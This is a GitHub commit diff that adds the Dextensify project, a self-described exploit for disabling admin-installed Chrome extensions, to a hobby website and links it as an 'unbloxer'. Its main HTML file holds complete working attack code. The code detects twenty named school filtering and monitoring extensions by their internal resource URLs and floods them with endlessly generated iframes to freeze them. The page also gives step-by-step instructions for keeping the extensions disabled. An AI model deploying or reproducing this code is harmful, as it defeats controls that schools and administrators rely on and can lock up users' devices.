This commit is contained in:
mileswa1q2 authored and GitHub committed 2023-10-24 17:12:55 +00:00
1 parent 24e1b0a407
commit 167707a2bb
9 files changed
+644 -1

No files matched your search

@@ -0,0 +1,163 @@
/generated
/.vscode
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# poetry
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
# This is especially recommended for binary packages to ensure reproducibility, and is more
# commonly ignored for libraries.
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
#poetry.lock
# pdm
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
#pdm.lock
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
# in version control.
# https://pdm.fming.dev/#use-with-ide
.pdm.toml
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/
# PyCharm
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
#.idea/
@@ -0,0 +1,19 @@
Copyright (c) 2023 ading2210
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -0,0 +1,57 @@
# Dextensify
Dextensify is an exploit which lets you disable most admin-installed Chrome extensions from any webpage. It can be used from regular websites, HTML files, and data URLs.
For the exploit itself, visit one of the following links:
- https://dextensify.ading.dev/
- https://dextensify.pages.dev/
An explanation is available on [my website](https://ading.dev/blog/posts/dextensify.html).
## Supported Extensions:
|Extension Name|Extension ID|
|--------------|------------|
|Securly|`joflmkccibkooplaeoinecjbmdebglab`|
|Securly (old)|`iheobagjkfklnlikgihanlhcddjoihkg`|
|Goguardian|`haldlgldplgnggkjaafhelgiaglafanh`|
|LANSchool|`baleiojnjpgeojohhhfbichcodgljmnj`|
|Linewize|`ddfbkhpmcdbciejenfcolaaiebnjcbfc`|
|Blocksi|`ghlpmldmjjhmdgmneoaibbegkjjbonbk`|
|Fortiguard|`igbgpehnbmhgdgjbhkkpedommgmfbeao`|
|Cisco Umbrella|`jcdhmojfecjfmbdpchihbeilohgnbdci`|
|ContentKeeper|`jdogphakondfdmcanpapfahkdomaicfa`|
|Securly Classroom|`jfbecfmiegcjddenjhlbhlikcbfmnafd`|
|Hapara|`kbohafcopfpigkjdimdcdgenlhkmhbnc`|
|iboss|`kmffehbidlalibfeklaefnckpidbodff`|
|Lightspeed|`adkcpkpghahmbopkjchobieckeoaoeem`|
|InterCLASS Filtering Service|`jbddgjglgkkneonnineaohdhabjbgopi`|
|InterSafe GatewayConnection Agent|`ecjoghccnjlodjlmkgmnbnkdcbnjgden`|
|Gopher Buddy|`cgbbbjmgdpnifijconhamggjehlamcif`|
|LanSchool Web Helper|`honjcnefekfnompampcpmcdadibmjhlk`|
|IMTLazarus|`cgigopjakkeclhggchgnhmpmhghcbnaf`|
|Impero Backdrop|`jjpmjccpemllnmgiaojaocgnakpmfgjg`|
|Mobile Guardian|`fgmafhdohjkdhfaacgbgclmfgkgokgmb`|
## Copyright:
This repository is licensed under the MIT License.
```
Copyright (c) 2023 ading2210
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
```
@@ -0,0 +1,13 @@
import minify_html
import pathlib
import base64
base_path = pathlib.Path(__file__).resolve().parent
template_path = base_path / "main.html"
out_path = base_path / "data_url.txt"
html = template_path.read_text()
minified = minify_html.minify(html, minify_js=True, do_not_minify_doctype=True, minify_css=True)
html_encoded = base64.b64encode(minified.encode()).decode()
data_url = f"data:text/html;base64,{html_encoded}"
out_path.write_text(data_url)
Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

@@ -0,0 +1,101 @@
<!DOCTYPE html>
<html lang="en">
<head>
<title>Dextensify</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<style>
* {
font-family: Sans-serif;
color: #d4d3da;
}
a {
color: #6daebd;
}
a:hover {
color: #4f9eb0;
}
pre, code {
font-family: monospace;
background-color: #1e2324;
padding: 4px;
overflow-x: auto;
}
pre {
padding: 8px;
}
pre code {
background-color: transparent;
border: none;
padding: 0px;
}
body {
background-color: #1e2324;
width: 100%;
height: 100%;
margin: 0px;
}
button {
background-color: #33626c;
padding: 6px;
padding-left: 8px;
padding-right: 8px;
border: transparent;
font-size: 15px;
}
#main_div {
max-width: 800px;
object-fit: contain;
background-color: #252b2d;
padding: 4px;
padding-left: 16px;
padding-right: 16px;
margin: 16px;
margin-left: auto;
margin-right: auto;
}
</style>
</head>
<body>
<div id="main_div">
<h1 style="margin-top: 8px">Dextensify</h1>
<p>Dextensify is an exploit which lets you disable most admin-installed Chrome extensions from any webpage. It can be used from regular websites, HTML files, and data URLs.</p>
<p>An explanation is available on <a href="https://ading.dev/blog/posts/dextensify.html">my website</a>.</p>
<p>For the exploit itself, visit one of the links below:</p>
<ul>
<li><a href="./main.html">Main HTML file</a></li>
<li><a href="./data_url.txt">Data URL</a></li>
</ul>
<p>The source code for this is available at <a href="https://github.com/ading2210/dextensify">ading2210/dextensify</a>.
<hr>
<details>
<summary style="margin-bottom: 8px;">
Made by <a href="https://ading.dev" target="_blank">ading2210</a>. This project is licensed under the MIT license.
</summary>
<pre>MIT License
Copyright (c) 2023 ading2210
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.</pre>
</details>
</div>
</body>
</html>
@@ -0,0 +1,289 @@
<!DOCTYPE html>
<html lang="en">
<head>
<title>Dextensify</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<style>
* {
font-family: Sans-serif;
color: #d4d3da;
}
a {
color: #6daebd;
}
a:hover {
color: #4f9eb0;
}
pre, code {
font-family: monospace;
background-color: #1e2324;
padding: 4px;
overflow-x: auto;
}
pre {
padding: 8px;
}
pre code {
background-color: transparent;
border: none;
padding: 0px;
}
body {
background-color: #1e2324;
width: 100%;
height: 100%;
margin: 0px;
}
button {
background-color: #33626c;
padding: 6px;
padding-left: 8px;
padding-right: 8px;
border: transparent;
font-size: 15px;
}
#main_div {
max-width: 800px;
object-fit: contain;
background-color: #252b2d;
padding: 4px;
padding-left: 16px;
padding-right: 16px;
margin: 16px;
margin-left: auto;
margin-right: auto;
}
#buttons_container {
display: flex;
flex-wrap: wrap;
gap: 8px;
}
</style>
<script>
let from_id = id => document.getElementById(id);
let extensions = {
"securly_new": {
name: "Securly",
url: "chrome-extension://joflmkccibkooplaeoinecjbmdebglab/fonts/Metropolis.css"
},
"securly_old": {
name: "Securly (old)",
url: "chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/fonts/Metropolis.css"
},
"goguardian": {
name: "Goguardian",
url: "chrome-extension://haldlgldplgnggkjaafhelgiaglafanh/youtube_injection.js"
},
"lanschool": {
name: "LANSchool",
url: "chrome-extension://baleiojnjpgeojohhhfbichcodgljmnj/blocked.html"
},
"linewize": {
name: "Linewize",
url: "chrome-extension://ddfbkhpmcdbciejenfcolaaiebnjcbfc/background/assets/pages/default-blocked.html"
},
"blocksi": {
name: "Blocksi",
url: "chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html"
},
"fortiguard": {
name: "Fortiguard",
url: "chrome-extension://igbgpehnbmhgdgjbhkkpedommgmfbeao/youtube_injection.js"
},
"cisco": {
name: "Cisco Umbrella",
url: "chrome-extension://jcdhmojfecjfmbdpchihbeilohgnbdci/blocked.html"
},
"contentkeeper": {
name: "ContentKeeper",
url: "chrome-extension://jdogphakondfdmcanpapfahkdomaicfa/img/ckauth19x.png"
},
"securlyclassroom": {
name: "Securly Classroom",
url: "chrome-extension://jfbecfmiegcjddenjhlbhlikcbfmnafd/notfound.html"
},
"hapara": {
name: "Hapara",
url: "chrome-extension://kbohafcopfpigkjdimdcdgenlhkmhbnc/blocked.html"
},
"iboss": {
name: "iboss",
url: "chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html"
},
"lighspeed": {
name: "Lightspeed",
url: "chrome-extension://adkcpkpghahmbopkjchobieckeoaoeem/icon-128.png"
},
"interclass": {
name: "InterCLASS Filtering Service",
url: "chrome-extension://jbddgjglgkkneonnineaohdhabjbgopi/pages/message-page.html"
},
"intersafe": {
name: "InterSafe GatewayConnection Agent",
url: "chrome-extension://ecjoghccnjlodjlmkgmnbnkdcbnjgden/resources/options.js"
},
"gopher_buddy": {
name: "Gopher Buddy",
url: "chrome-extension://cgbbbjmgdpnifijconhamggjehlamcif/images/gopher-buddy_128x128_color.png"
},
"lanschool_helper": {
name: "LanSchool Web Helper",
url: "chrome-extension://honjcnefekfnompampcpmcdadibmjhlk/blocked.html"
},
"imtlazarus": {
name: "IMTLazarus",
url: "chrome-extension://cgigopjakkeclhggchgnhmpmhghcbnaf/models/model.json"
},
"impero_backdrop": {
name: "Impero Backdrop",
url: "chrome-extension://jjpmjccpemllnmgiaojaocgnakpmfgjg/licenses.html"
},
"mobile_guardian": {
name: "Mobile Guardian",
url: "chrome-extension://fgmafhdohjkdhfaacgbgclmfgkgokgmb/block.html"
},
};
async function check_url(url) {
let controller = new AbortController();
let timeout = setTimeout(() => controller.abort(), 500);
try {
await fetch(url, {signal: controller.signal});
return true;
}
catch (error) {
let error_msg = error+"";
return error_msg.includes("AbortError");
}
}
async function detect_extensions() {
let detected = [];
for (let extension of Object.values(extensions)) {
let exists = await check_url(extension.url);
if (exists) {
detected.push(extension);
}
}
return detected;
}
async function main() {
let detected = await detect_extensions();
let buttons_container = from_id("buttons_container")
if (!window.chrome) {
buttons_container.innerHTML = `<p><b>Error: You are not running a Chromium-based browser.</b></p>`;
return;
}
else if (detected.length === 0) {
buttons_container.innerHTML = `<p><b>Error: No supported extensions detected.</b></p>`;
buttons_container.innerHTML += `<p style="margin-top: -16px;">If you want support for a specific extension added, please make an issue on the <a href="https://github.com/ading2210/dextensify">Github repository</a>, and provide the extension ID and manifest.</p>`;
return;
}
else {
buttons_container.innerHTML = ""
}
for (let extension of detected) {
let button = document.createElement("button");
button.innerText = `Freeze ${extension.name}`;
button.onclick = () => {
button_handler(extension);
}
buttons_container.append(button);
}
}
function button_handler(extension) {
let cancel = !confirm("After hitting OK, there will be a 5 second delay until the extension starts being frozen. Switch to another tab immediately to prevent the entire device from locking up.");
if (cancel) return;
setTimeout(() => {
create_iframes(extension);
}, 5000);
}
function create_iframes(extension) {
let iframes = []
let iterations = 5;
let public_url = extension.url;
while (true) {
let iframe = document.createElement("iframe");
document.body.append(iframe);
iframes.push(iframe);
//let subframe_count = Math.max(2, 200 - iterations);
for (let i=0; i<50; i++) {
let subframe = document.createElement("iframe");
subframe.src = public_url;
subframe.style.width = subframe.style.height = "1px";
iframe.contentDocument.body.append(subframe);
}
while (iframes.length > Math.max(3, 10-iterations)) {
iframes[0].remove();
iframes.shift();
}
iterations++;
}
}
window.onload = main;
</script>
</head>
<body>
<div id="main_div">
<h1 style="margin-top: 8px">Dextensify</h1>
<p>Dextensify is an exploit which lets you disable most admin-installed Chrome extensions from any webpage.</p>
<h2>Instructions</h2>
<ol>
<li>Open chrome://extensions in a new tab. Keep this page open.</li>
<li>Go to the settings page for the extension you want to disable.</li>
<li>On the Dextensify page, click the "freeze extension" button. Immediately switch back to the chrome://extensions tab.</li>
<li>Back on the chrome://extensions page, spam the "allow access to file URLs" switch for a few seconds.</li>
<li>The extension should now be temporarily disabled. For this effect to persist, flip the "allow access to file URLs" again every few minutes, or if pages start getting blocked again.</li>
<li>You may also need to reopen this page every once in a while to prevent an unavoidable memory leak from crashing the system.</li>
</ol>
<p>During this process, your Chromebook may hang momentarily. This is normal, and it should resolve itself after a few seconds.</p>
<div id="buttons_container">
<p><i>Detecting extensions...</i></p>
</div>
<br>
<hr>
<details>
<summary style="margin-bottom: 8px;">
Made by <a href="https://ading.dev" target="_blank">ading2210</a>. This file is licensed under the MIT license.
</summary>
<pre>MIT License
Copyright (c) 2023 ading2210
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.</pre>
<p style="font-size: 13px; text-align: right;"><i>Version 1.1.1</i></p>
</details>
</div>
</body>
</html>
@@ -0,0 +1 @@
minify-html
+1 -1
View File
@@ -7,7 +7,7 @@
<a href="mincrat.html">games</a>
<a href="dino.html">dino games</a>
<a href="https://github.com/mileswolfallen2/funforyou-wedsite/releases/tag/2.1" target="_blank">offline</a>
<a href="coment.html">coments</a>
<a href="/dextensify-master/dextensify-master/index2.html">unbloxer</a>
<p></p>
<p>hi thia ia my wed sit it is stil in bebvelipment</p>
<audio controls>